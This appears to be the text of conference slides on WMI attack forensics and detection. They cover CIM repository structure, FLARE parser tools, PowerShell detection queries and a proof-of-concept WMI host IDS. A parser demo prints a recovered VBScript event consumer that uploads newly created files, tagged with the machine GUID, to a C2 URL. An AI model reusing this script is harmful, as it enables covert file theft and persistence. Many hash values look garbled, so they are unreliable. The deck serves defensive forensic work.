- Compute hash of the referenced class name, i.e. “EXISTINGCLASS” and prepend “CR_”
  - CR_D39A5F4E2DE512EE18D8433701250312
- Compute hash of the class name, i.e. “NEWCLASS” and prepend “R_”
  - R_D41D8CD98F00B204E9800998ECF8427E
- Concatenated resulting strings using “\” as separator
  - NS_<namespace_hash>\CR_<reference_class_name_hash>\R_<class_name_hash>
Representation of MOF Primitives – Class with Refs Definitions

#pragma namespace("\\\\.\\root\\default")
[dynamic]
class NewClass
{
    [key] string Name;
    uint8[] Buffer;
    datetime Modified;
    ExistingClass ref NewRef;
}

NS_2F830D7E9DBEAEE88EED79A5D5FBD63C0\CD_F41D9A5D9BBAFA49071555545625D0A1 md5("ROOT\DEFAULT")
NS_2F830D7E9DBEAEE88EED79A5D5FBD63C0\CR_D41D8CD98F00B204E980098ECF8427E\CF_4F1D9A5D9BBAFA49071555545625D0A1 md5("NEWCLASS")

NS_2F830D7E9DBEAEE88EED79A5D5FBD63C0\CR_D39A5F4E2DE512EE18D8437301250312\R_F41D9A5D9BBAFA49071555545625D0A1 md5("ROOT\DEFAULT")
NS_2F830D7E9DBEAEE88EED79A5D5FBD63C0\CR_D39A5F4E2DE512EE18D8437301250312\R_F41D9A5D9BBAFA49071555545625D0A1 md5("NEWCLASS")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CD_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("ROOT\DEFAULT")
NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CD_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("NEWCLASS")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CR_E3B0C4298FC1C149ABF44C8996FB92427A4E14E469B934CA495991B7852B855 C_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("ROOT\DEFAULT")
NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CR_E3B0C4298FC1C149ABF44C8996FB92427A4E14E469B934CA495991B7852B855 C_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("NEWCLASS")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CR_D0D0C18C95BB8322AF94B77C489795BE138A3BC690965DD6599C6D06DC300DE26 R_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("ROOT\DEFAULT")
NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CR_D0D0C18C95BB8322AF94B77C489795BE138A3BC690965DD6599C6D06DC300DE26 R_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("EXISTINGCLASS")
NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\CR_D0D0C18C95BB8322AF94B77C489795BE138A3BC690965DD6599C6D06DC300DE26 R_DAAB3E4B990F47088BC82B10205ECE0532A3DA8C499EE4A359166315DD5F7B5 sha256("NEWCLASS")
Representation of MOF Primitives – Instances

- Compute hash of the namespace name, i.e. “ROOT\DEFAULT” and prepend “NS_”
  - NS_2F830D7E9DBEAE88EED79A5D5FBD63C0

- Compute hash of the class name, i.e. “EXISTINGCLASS” and prepend “CI_”
  - CI_D39A5F4E2DE512EE18D8433701250312

- Compute hash of the instance primary key(s) name, i.e “EXISTINGCLASSNAME” and prepend “IL_”
  - IL_AF59EEC6AE0FAC04E5E5014F90A91C7F

- Concatenated resulting string using “\” as separator
  - NS_<namespace_hash>\CI_<class_name_hash>\IL_<instance_name_hash>
Representation of MOF Primitives – Instances

```csharp
#pragma namespace("\\\\.\\root\\default")

instance of ExistingClass {
    Name = "ExisitingClassName";
    Description = "ExisitingClassDescription";
};

NS_2F830D7E9DBEAE88ED79A5D5FBD63C0\ md5("ROOT\DEFAULT")
CI_D39A5F4E2DE512EE18D8433701250312\ md5("EXISTINGCLASS")
IL_AF59E6C6AE0FAC04E5E5014F90A91C7F md5("EXISTINGCLASSNAME")

NS_892F8DB69C4EDFBC68165C91087B7A08323F6CE5B5EF342C0F93E02A0590BFC4\ sha256("ROOT\DEFAULT")
CI_DD0C18C95BB8322AF94B77C4B9795B138A3B690965DD6599CED06DC300DE26\ sha256("EXISTINGCLASS")
IL_B4A9A2529F8293B91E39235B3589B384036C37E3EB7302E205D97CFBEA4E8F86 sha256("EXISTINGCLASSNAME")
```
Representation of MOF Primitives – Instances with Refs

- Construct additional string path describing the instance reference value
- Compute hash of the referenced class namespace, i.e. “ROOT\DEFAULT” and prepend “NS_”
  - NS_2F830D7ED9DEBEAE88EED79A5D5FBDB3C0
- Compute hash of the referenced class name, i.e. “EXISTINGCLASS” and prepend “KI_”
  - KI_D39A5F4E2DE512EE18D8433701250312
- Compute hash of the referenced instance primary key name, i.e “EXISTINGCLASSNAME” and prepend “IR_”
  - IR_AF59EEC6AE0FAC04E5E5014F90A91C7F
- Concatenated resulting string using “\” as separator
  - NS_<namespace_hash>\KI_<referenced_class_name_hash>\IR_<referenced_instance_name_hash>\R_<reference_id>
Representation of MOF Primitives – Instances with Refs

#pragma namespace("\\\"\\\root\\\default\\\")

instance of NewClass {
    Name             = "NewClassName";
    Buffer            = {0x00, 0x11, 0x22, 0x33};
    Modified          = "1/20/2015 11:56:32";
    NewRef            = "ExistingClassName";
};

NS_2F830DE9DBEAE88EED79A5DF8D63C0\    md5("ROOT\DEFAULT")
CI_F41D9A5D9BFA490715555455625D0A1\    md5("NEWCLASS")
IL_4EED981F16BED7776805E8FFE033686\    md5("NEWCLASSNAME")

NS_2F830DE9DBEAE88EED79A5DF8D63C0\    md5("ROOT\DEFAULT")
KI_D39A5F4E2DE51E2EE18D843701250312\    md5("EXISTINGCLASS")
IR_AF59EEC6AE0FAC045E5014F90A91C7F\    md5("EXISTINGCLASSNAME")
R_<id>

NS_892F8DB69C4EDFBC68165C91087B8A08323F6CE5B5EF342C0F93E02A0590BFC4\    sha256("ROOT\DEFAULT")
CI_DAA3B74F8990F470B8BCCB20B2025ECE0332A3DA8C499EAA4359166315DD5F7B5\    sha256("NEWCLASS")
IL_9700EA18F59668983C3339A1901E33216BADDDEB58A6AF5D894F7083F35837\    sha256("NEWCLASSNAME")

NS_892F8DB69C4EDFBC68165C91087B8A08323F6CE5B5EF342C0F93E02A0590BFC4\    sha256("ROOT\DEFAULT")
KI_DDC18C95B88322AF94B77C4B9795BE138A3BEC690965D6599CED66DC3003E26\    sha256("EXISTINGCLASS")
IR_84A9A2529F8293B91E39235B3589B384036C37E3EB7302E205D97CFBEA48F86\    sha256("EXISTINGCLASSNAME")
R_<id>
Forensic Investigation of WMI Attacks
Next Generation Detection 1/2

- FLARE team reverse engineered the CIM repository file formats

- Two tools developed:
  - cim-ui – GUI WMI Repo parser written in Python
  - WMIParser – command line tool written in C++
    - WmiParser.exe -p "%path_to_CIM_repo%" [o "%path_to_log_file%"]
Next Generation Detection 2/2

- Collect entire CIM repo (directory `%SystemRoot%\WBEM\Repository`)
- Parse offline
  - Inspect persistence objects
    - __EvenFilter instances
    - __FilterToConsumerBinding instances
    - ActiveScriptEventConsumer, CommandLineEventConsumer instances
    - CCM_RecentlyUsedApps instances
    - Etc.
  - Timeline new/modified class definition and instances
  - Export suspicious class definitions
  - Decode and analyze embedded scripts with full confidence
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>root\cim\Scheduler</td>
<td>objects\namespace</td>
</tr>
<tr>
<td>root\cim\ServerAgent</td>
<td>objects\namespace</td>
</tr>
<tr>
<td>root\cim\SoftMgmtAgent</td>
<td>objects\namespace</td>
</tr>
<tr>
<td>root\cim\SoftwareMeteringAgent</td>
<td>objects\namespace</td>
</tr>
</tbody>
</table>

**Class Definitions**

- CCM\HistoricalMeteredData
- CCM\MeteredFileInfo
- CCM\MeteredProductInfo
- CCM\RecentlyUsedApps

**Instances**

- Explorer\File\Name=\AL\Mon\exe,Folder\Path=\C:\...
- Explorer\File\Name=Adobe\ARM\exe,Folder\Path=\...
- Explorer\File\Name=App\Starter\exe,Folder\Path=\...
- Explorer\File\Name=\Auto\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\U\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\B\Info\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Panel\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Explorer\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Hilton\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\HPDU\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\HPSU\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\HPSU\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Help\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Help\Host\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Log\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Micro\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Midi\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Note\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Ops\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Perp\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Prime\\\\\\\\\\exe,Folder\Path=\C:\\...
- Explorer\File\Name=\Procedures\\\\\\\\\\exe,Folder\Path=\C:\\...

**Properties**

- File\Name\=\Adobe\ARM\exe
- Folder\Path\=\C:\\Program Files\\Common Files\\Adobe\ARM\1.0\\
- Last\User\Name=\FL\S\MICRO\370\0\\
- File\Version\=1.7.4.0
- File\Size\=850\KB
- Company\Name=\Adobe\ Systems\ Incorporated
- Product\Version\=1.7.4.0
- Launch\Count\=7
- Product\Language\=en
Python-CIM Demo
Command > --help
WMI Parser Help:
--help
  Hint: Print help.
--quit
  Hint: WMIParser quits.
--namespace
  Hint: Get all the namespaces defined in the repo.
--instance namespaces [classname] [classinstancename]
  Hint: Get the instance in the specified namespace by class and instance name.
--consumerinstance namespaces [consumertype] [consumerinstancename]
  Hint: Get the consumer instance in the specified namespace by type and name.
--filterinstance namespaces [filterinstancename]
  Hint: Get the filter instances in the specified namespace by name.
--bindinginstance namespaces
  Hint: Get all binding instances defined in the specified namespace.
--classdef [namespacename] [classname]
  Hint: Get the class definition in the specified namespace.
--index
  Hint: Print all the strings in index.btr.
Command >
Command > --namespaceinstance

_ROOT (NS_E8C4F926E52E9240C37C4E59745CEB61A67A77C9F6692EA4295A970EAF583C5)
_ROOT\subscription (NS_E1DD43413ED9F9C458D2051F082D1D739399B29035B455F09073926E5ED9870)
_ROOT\DEFAULT (NS_892F8DB69C4EDFB68165C91087B7A0B3323F6CE585EF342C0F93E02A8590BF4C)
_ROOT\CIMV2 (NS_6B577372C66A7B2065B487FBFD959AA154EF54B59F35DC56G63E9228B44322805)
_ROOT\Cl (NS_E1578D36E8972985C3607CB2490418C572C190C71115F301302674342C5885D)
_ROOT\nbp (NS_C7197128661836F29BABA6BB9FBAAA57F6A2D35649A20C4B56B30C8958DA77F5211)
_ROOT\SECURITY (NS_010BA7C521D77A58F4FCB91B289C9241E169732EAA949BB5DD56F6C3F7767D2FB)
_ROOT\SecurityCenter2 (NS_DE4296A4F2DEC067F4299F885179666947996A53ADAB4EB526CEC3C884F90B50)
_ROOT\RSP (NS_B9F15E9C0955B84DBB7EB40AB78C929A94B3B55C2BC3700562DC762D466102F)
_ROOT\WMI (NS_3FBDCC08EC3F3F0282D2DB3F058F8EC959778943F43AB3D3FC34ACA147D)
_ROOT\directory (NS_4556CEEB75C58C1E6A0AEAF76BE49CD0BAD23B80B2C5E3727EE2D4B8DA41900B2)
_ROOT\Policy (NS_3D9BEC376D3EBFB0210DB658120A818078461369A71EEFA3DDE47412F528D55E)
_ROOT\Interop (NS_D82D956ED64C7FA5E94E377F9D35A7B08D90D6C56C2323D31A8EEE4AEE156D)
_ROOT\ServiceModel (NS_5B2CC7EB2A2AF010D5D0084F2DEFCC340AFFFFFFEC12F24D870DFC50B8EB7C98139)
_ROOT\SecurityCenter (NS_1EBFBCBF50415CCAF857032CB72DA91AE614AAE2E8D10A138F087E132BF57C)
_ROOT\ThinPrint (NS_808DD3B1C522DD3A04891E908AFB4E5951D5EE5B2F9D2942B5CD70644506C)
_ROOT\Microsoft (NS_2B689AFF33A341BB9044301A8A093A9FAB11D0506D58B53A8B271288ADD4404)
_ROOT\aspnet (NS_NEACD50088A3D9D9AC75A9E06DFA74ABD81F1994366F285F6353AC65F6B72)
_ROOT\subscription\ms_409 (NS_43C2C20FBB10386C9DDA3C49100E017200BF508BCEAF2E314ACE9D9E15C)
_ROOT\DEFAULT\ms_409 (NS_3D3E81DCD26451B695779984B3A82363F54E34563AA1BC6E73E4A2DC2212802)
_ROOT\CIMV2\Security (NS_D4581E17E3199AC79108B8BD3B6F787A097AA755A5B733AED04E45790022501)
-----------------------------------
Command > --instance root\subscription CommandLineEventConsumer
Namespace : root\subscription
GUID: B8FCCB44A4CF66A09AE615967A6865175BB0ED216D19970A7988B72CDF0A3A4
Date1: 11/20/2010 20:59:04
Date2: 07/14/2009 02:03:41
Instance Property:

Name: MachineName
Type: VT_BSTR(0x8)
Array: no
Value: Not Assigned.

Name: MaximumQueueSize
Type: VT_UI4(0x13)
Array: no
Value: Not Assigned.

Name: CreatorSID
Type: VT_UI1(0x2011)
Array: yes
Value: 0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0xAS,

Name: Name
Type: VT_BSTR(0x8)
Array: no
Value:_EVTConsumer

-----------------------------------
WMIParser 4/6

Command > --consumerinstance root\\subscription ActiveScriptEventConsumer

GUID: 3E78A37E1DE78357C35A15068B8A17A1D31F805091DE81C3EB8104F5B04F97
Date1: 04/07/2015 18:38:02
Date2: 07/14/2009 02:03:41
CreatorSID:
0x1C 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x00 0x00 0x05 0x15 0x00 0x00 0x00
0x46 0xDC 0x06 0x0E 0xB0 0x25 0xCB 0x61 0x0C 0x9E 0x56 0xC5 0xEB 0x03 0x00 0x00
MachineName: Not Assigned
MaximumQueueSize: 0
KillTimeout: 45
Name: FileUpload
ScriptingEngine: VBScript
ScriptFilename: Not Assigned
ScriptText: On Error Resume Next

Dim oReg, oXMLHTTP, oStream, aMachineGuid, aC2URL, vBinary

Set oReg = GetObject("WMI\WMI\Instances\{ImpersonationLevel=Impersonate}\\root\default:StdRegProv")
oReg.GetStringValue &H80000002, "SOFTWARE\Microsoft\Cryptography", "MachineGuid", aMachineGuid

aC2URL = "http://127.0.0.1\index.html1ID=" & aMachineGuid

Set oStream = CreateObject("ADODB.Stream")
oStream.Type = 1
oStream.Open
oStream.LoadFromObject TargetEvent.TargetInstance.Name
vBinary = oStream.Read

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.open "POST", aC2URL, False
oXMLHTTP.setRequestHeader "Path", TargetEvent.TargetInstance.Name
oXMLHTTP.send(vBinary)
WMIParser 5/6

Command > --bindinginstance root\subscription

[211D8BE7A68BB575AB8DAC024BEC07757C3B74866DB4C75F3712C3C31DC36542]
FilterToConsumerBinding:(D000067D.0013B386.00000151)
FilterToConsumerBinding : Found the record at offset (12685382)

GUID: 0A7ABE63F36E2B2920FEDAFAB849823AF9429CC0EA373FEE1507EDB21FD9170
Date1: 04/07/2015 18:38:02
Date2: 07/14/2009 02:03:41
CreatorSID:
0x1C 0x00 0x00 0x00 0x01 0x05 0x00 0x00 0x00 0x00 0x00 0x05 0x00 0x00 0x00 0x00 0x00
0x46 0xDC 0x06 0x5E 0xBD 0x25 0xCB 0x61 0x9C 0x9E 0x56 0xC5 0xE8 0x03 0x00 0x00
DeliveryQoS: 0
DeliverSynchronously: False
MaintainSecurityContext: False
SlowDownProviders: False
Filter: __EventFilter.Name="NewOrModifiedFileTrigger"
Consumer: ActiveScriptEventConsumer.Name="FileUpload"
Command > --filterinstance root\subscription NewOrModifiedFileTrigger
--- Filter root\subscription\_EventFilter\NewOrModifiedFileTrigger ----
[9592D3AE7E7C042B18C7A8DE66AA050C8C7B72A4FEAD5CFA5702B21539564359]:
Consumer:(00000625.00139AE2.00000212)

GUID: 47C79E62C2227EDD0FF29BF44D87F2FAF9FEDF60A18D9F825976028D95E20BD3
Date1: 04/07/2015 18:38:02
Date2: 07/14/2009 02:03:41
CreatorSID:
0x1C 0x00 0x00 0x05 0x05 0x00 0x00 0x00 0x00 0x05 0x15 0x00 0x00 0x00
0x46 0xDC 0x05 0x6E 0xBD 0x25 0xCB 0x61 0x9C 0x9E 0x56 0xC5 0xE8 0x03 0x00 0x00
EventAccess: 0
EventNamespace: ROOT\cimv2
Name: NewOrModifiedFileTrigger
QueryLanguage: WQL
Query: SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE ((__CLASS = "__InstanceCreationEvent"

===================================================================================================
WMIsparser.exe Demo
WMI Attack Detection
Attacker Detection with WMI

- Persistence is still the most common WMI-based attack
- Use WMI to detect WMI persistence

```powershell
$Arguments = @{
    Credential = 'WIN-B85AAA7ST4U\Administrator'
    ComputerName = '192.168.72.135'
    Namespace = 'root\subscription'
}
Get-WmiObject -Class __FilterToConsumerBinding @Arguments
Get-WmiObject -Class __EventFilter @Arguments
Get-WmiObject -Class __EventConsumer @Arguments
```
Existing Detection Utilities

- **Sysinternals Autoruns**

  ![Sysinternals Autoruns](image)

- **Kansa**
  - [https://github.com/davehull/Kansa/](https://github.com/davehull/Kansa/)
  - Dave Hull (@davehull), Jon Turner (@z4ns4tsu)
Attacker Detection with WMI

Consider the following attacker actions and their effects:

- Attack: Persistence via permanent WMI event subscriptions
  - Effect: Instances of __EventFilter, __EventConsumer, and __FilterToConsumerBinding created
- Attack: Use of WMI as a C2 channel. E.g. via namespace creation
  - Effect: Instances of __NamespaceCreationEvent created
- Attack: WMI used as a payload storage mechanism
  - Effect: Instances of __ClassCreationEvent created
Attacker Detection with WMI

- Attack: Persistence via the Start Menu or registry
  - Effect: Win32_StartupCommand instance created. Fires __InstanceCreationEvent
- Attack: Modification of additional known registry persistence locations
  - Effect: RegistryKeyChangeEvent and/or RegistryValueChangeEvent fires
- Attack: Service creation
  - Effect: Win32_Service instance created. Fires __InstanceCreationEvent

Are you starting to see a pattern?
Attacker Detection with WMI

WMI is the free, agent-less host IDS that you never knew existed!

YO DAWG. I HEARD YOU LIKED EVENT CONSUMERS.

SO I CREATED AN EVENT CONSUMER THAT ALERTS ON EVENT CONSUMERS.
Attacker Detection with WMI

Wouldn’t it be cool if WMI could be used to detect and/or remove ANY persistence item?

1. WMI persistence
2. Registry persistence
   - Run, RunOnce, AppInit_DLLs, Security Packages, Notification Packages, etc.
3. Service creation
4. Scheduled job/task creation
5. Etc.
Benefits of a WMI solution

- Available remotely on all systems
- Service runs by default
- Unlikely to be detected/removed by attacker
- Persistent
- No executables or scripts on disk – i.e. no agent software installation
- *Nearly* everything on the operating system can trigger an event

Security vendors, this is where you start to pay attention…
Introducing WMI-HIDS

- A proof-of-concept, agent-less, host-based IDS
- Consists of just a PowerShell installer
- PowerShell is not required on the remote system
- Implemented with permanent WMI event subscriptions
Introducing WMI-HIDS - RTFM

```powershell
New-AlertTrigger -EventConsumer <String> [-TriggerType <String>] [-TriggerName <String>] [-PollingInterval <Int32>]

New-AlertTrigger -StartupCommand [-TriggerType <String>] [-TriggerName <String>] [-PollingInterval <Int32>]

New-AlertTrigger -RegistryKey <String> [-TriggerName <String>] [-PollingInterval <Int32>]

New-AlertAction -Trigger <Hashtable> -Uri <Uri> [-ActionName <String>]

New-AlertAction -Trigger <Hashtable> -EventLogEntry [-ActionName <String>]

Register-Alert [-Binding] <Hashtable> [[-ComputerName] <String[]>]
```
Introducing WMI-HIDS - Example

- `New-AlertTrigger -EventConsumer ActiveScriptEventConsumer -TriggerType Creation | New-AlertAction -Uri 'http://127.0.0.1' | Register-Alert -ComputerName 'VigilentHost1'

- `New-AlertTrigger -RegistryKey HKLM:\SYSTEM\CurrentControlSet\Control\Lsa | New-AlertAction -EventLogEntry | Register-Alert -ComputerName '192.168.1.24'

WMI-IDS Improvements

- Additional __EventFilter support:
  - Win32_Service
  - Win32_ScheduledJob
  - __Provider
  - __NamespaceCreationEvent
  - __ClassCreationEvent
  - Etc.
- Additional __EventConsumer support
  - Make this an IPS too? Support removal of persistence items
- Make writing plugins more easy

Additional detection is left as an exercise to the reader and security vendor.
WMI-IDS Takeaway

- Be creative!
- There are **thousands** of WMI objects and events that may be of interest to defenders
  - Root\Cimv2:Win32_NtEventLog
  - Root\Cimv2:Win32_ProcessStartTrace
  - Root\Cimv2:CIM_DataFile
  - Root\StandardCimv2:MSFT_Net* (Win8+)
  - Root\WMI:BCD*
Detection/Mitigations

- Stop the WMI service - Winmgmt?
- Firewall rules
- Event logs
  - Microsoft-Windows-WinRM/Operational
  - Microsoft-Windows-WMI-Activity/Operational
  - Microsoft-Windows-DistributedCOM
- Preventative permanent WMI event subscriptions
Mitigations – Namespace ACLs

Windows Management Instrumentation (WMI)

Configures and controls the Windows Management Instrumentation (WMI) service.
Mitigations – Namespace ACLs
Thank you!

- For fantastic ideas
  - Will Schroeder (@harmj0y) and Justin Warner (@sixdub) for their valuable input on useful __EventFilters

- For motivation
  - Our esteemed colleague who claimed that the WMI/CIM repository had no structure

- For inspiration
  - APT 29 for your continued WMI-based escapades and unique PowerShell coding style
References

- **Understanding WMI Malware** - Julius Dizon, Lennard Galang, and Marvin Cruz/Trend Micro

- **There’s Something About WMI** - Christopher Glyer, Devon Kerr
  - [https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon_2014_IR_Track_There%27s_Something_About_WMI.pdf](https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon_2014_IR_Track_There%27s_Something_About_WMI.pdf)
Multiple binary CTFs – puzzles, malware, etc

In 2014, the First FLARE On Challenge was a huge success
- Over 7,000 participants and 226 winners!

Second Challenge is live and open
- FLARE-On.com
- Closes on 9/8
- Diverse puzzles: UPX, Android, Steg, .NET and more

Those who complete the challenge get a prize and bragging rights!
THANK YOU!

Questions?